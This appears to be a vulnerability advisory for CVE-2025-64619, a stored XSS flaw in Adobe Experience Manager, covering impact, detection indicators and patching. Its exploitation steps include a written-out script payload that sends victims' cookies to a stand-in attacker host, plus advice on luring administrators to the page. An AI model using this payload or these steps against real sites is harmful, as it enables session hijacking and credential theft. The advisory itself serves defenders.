CVE-2025-64619: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64619 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with Adobe releasing the advisory (APSB25-115) the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-based attacker can inject malicious JavaScript into vulnerable AEM form fields, which is then persistently stored and executed in the browser of any victim who visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the malicious payload) and low privileges on the AEM instance. The changed scope indicates the injected script executes in the context of the victim's browser session, potentially affecting resources beyond the attacker's own session (Adobe Advisory, Feedly).

Successful exploitation results in limited confidentiality and integrity impacts — specifically, the ability to read or manipulate data accessible within the victim's browser session, such as session tokens, cookies, or page content rendered in the AEM interface. Because this is a stored XSS, any authenticated user who visits the compromised page is at risk, potentially enabling session hijacking, credential theft, or unauthorized actions performed on behalf of the victim. Availability is not directly impacted (Adobe Advisory, Feedly).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
3. Identify vulnerable form fields: Navigate to AEM authoring interfaces or content forms that accept and store user-supplied input without adequate sanitization.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator) to browse to the page containing the injected payload, causing the malicious script to execute in their browser context.
6. Harvest results: Collect exfiltrated session tokens, cookies, or other sensitive data from the attacker-controlled server to perform session hijacking or further unauthorized actions (Adobe Advisory).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after accessing AEM content pages; unusual GET/POST requests to attacker-controlled URLs containing encoded cookie or session data.
• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing script tags or encoded JavaScript payloads in form field parameters.
• File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload) within stored AEM content nodes in the JCR repository, particularly in fields not expected to contain HTML.
• Process/Browser: Unexpected redirects or resource loads to external domains when authenticated users browse AEM-authored pages (Adobe Advisory).

Adobe has released patches addressing CVE-2025-64619: AEM on-premises users should upgrade to version 6.5.24.0 or later, and AEM Cloud Service users are protected as of the 2025.12.0 release. No specific configuration-based workaround has been publicly documented; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content for any pre-existing stored XSS payloads and enforce strict input validation and output encoding policies (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this CVE, could allow for arbitrary code execution and other impacts, recommending prompt patching (CIS Advisory). Tenable added detection coverage via Nessus plugin 278346 shortly after disclosure (Tenable). No significant independent researcher commentary or social media discussion specific to CVE-2025-64619 has been identified beyond standard vulnerability aggregator coverage.